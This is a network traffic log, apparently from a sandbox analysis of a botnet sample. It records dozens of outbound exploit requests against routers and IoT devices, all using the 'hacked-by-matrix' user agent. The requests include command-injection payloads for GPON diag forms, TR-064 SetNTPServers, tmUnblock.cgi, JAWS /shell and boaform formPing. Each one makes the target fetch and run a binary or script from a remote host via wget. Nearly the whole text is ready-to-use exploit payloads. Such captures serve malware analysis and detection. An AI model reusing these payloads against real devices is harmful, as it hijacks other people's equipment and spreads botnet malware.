Mar 21, 2024 05:17:36.682179928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.13	43182	5.226.147.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.682228088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.13	34168	109.247.203.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.682259083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.13	51936	212.45.75.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.682261944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.13	46284	42.222.111.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.682296991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.13	42398	5.14.85.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.682313919 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.13	45536	42.9.15.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.682316065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.13	37056	37.189.220.127	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.682332039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.13	50736	5.179.93.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.682380915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.13	41396	37.134.12.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.682461023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.13	59766	212.24.105.187	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.770795107 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:36.979902983 CET	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:03 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>
Mar 21, 2024 05:17:37.474133015 CET	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:03 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.13	40164	213.108.109.227	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.825396061 CET	199	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.13	43106	50.39.125.139	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.825607061 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.13	46314	172.67.21.206	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.828294992 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.13	36292	77.122.181.243	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.853415966 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:37.058882952 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 04:17:36 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.13	44006	51.6.108.184	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.026034117 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:37.663952112 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.13	59008	149.202.80.67	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.337297916 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:38.198889017 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:38.359949112 CET	191	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:19:56 GMT Connection: close Content-Type: text/html Content-Length: 50 Data Raw: 3c 48 54 4d 4c 3e 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><BODY><H1>400 Bad Request</H1></BODY></HTML>
Mar 21, 2024 05:17:39.119539022 CET	191	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:19:56 GMT Connection: close Content-Type: text/html Content-Length: 50 Data Raw: 3c 48 54 4d 4c 3e 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><BODY><H1>400 Bad Request</H1></BODY></HTML>
Mar 21, 2024 05:17:40.399933100 CET	191	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:19:56 GMT Connection: close Content-Type: text/html Content-Length: 50 Data Raw: 3c 48 54 4d 4c 3e 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><BODY><H1>400 Bad Request</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.13	59294	172.66.160.187	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.021850109 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.13	51886	172.67.129.132	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.021882057 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.13	50818	172.67.133.249	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.021960974 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.13	42248	172.65.107.41	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.021986961 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.13	56268	172.67.47.108	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.022032976 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.13	54992	172.66.171.127	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.112420082 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.13	41952	62.29.41.230	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.142246962 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.13	44012	51.6.108.184	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.230516911 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.13	55612	98.235.193.89	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.232537985 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.13	50176	181.205.88.179	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.307113886 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.13	51796	52.69.228.13	80

